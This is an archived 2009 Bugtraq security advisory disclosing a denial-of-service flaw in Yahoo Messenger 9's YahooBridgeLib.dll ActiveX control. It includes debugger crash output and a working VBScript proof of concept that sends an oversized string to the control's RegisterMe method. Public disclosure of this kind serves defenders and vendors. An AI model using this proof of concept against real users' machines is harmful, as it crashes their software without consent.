lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20091112085039.27914.qmail@securityfocus.com>
Date: 12 Nov 2009 08:50:39 -0000
From: advisory@...kattack.com
To: bugtraq@...urityfocus.com
Subject: Yahoo Messenger 9 ActiveX DoS (Null Pointer) Vulnerability

********************************************************************************
Product:
Yahoo Messenger 9.0.0.2162


********************************************************************************
Vulnerability:
ActiveX Null Pointer - Denial of Service


********************************************************************************
Description:
Yahoo Messenger is prone to a denial-of-service (cause of null pointer) vulnerability.
Vulnerability is in YahooBridgeLib.dll (Activex Control)

An attacker can exploit this vulnerability by enticing an unsuspecting victim to view a malicious webpage. 




********************************************************************************
Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com




********************************************************************************
Debugger Results:

(1910.1a18): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=100092b4 ecx=018f0898 edx=002ae8d4 esi=00000000 edi=00000000
eip=10001074 esp=002ae858 ebp=002ae8dc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** WARNING: Unable to verify checksum for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Yahoo!\Messenger\YahooBridgeLib.dll - 
YahooBridgeLib+0x1074:
10001074 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000000=????????

0:000> !analyze -v
...
...
...
PRIMARY_PROBLEM_CLASS:  NULL_POINTER_READ

DEFAULT_BUCKET_ID:  NULL_POINTER_READ



********************************************************************************
PoC (.wsf script) :

<?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>


arg1=String(11284, "A")

target.RegisterMe arg1 

</script>

</job>

</package>


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ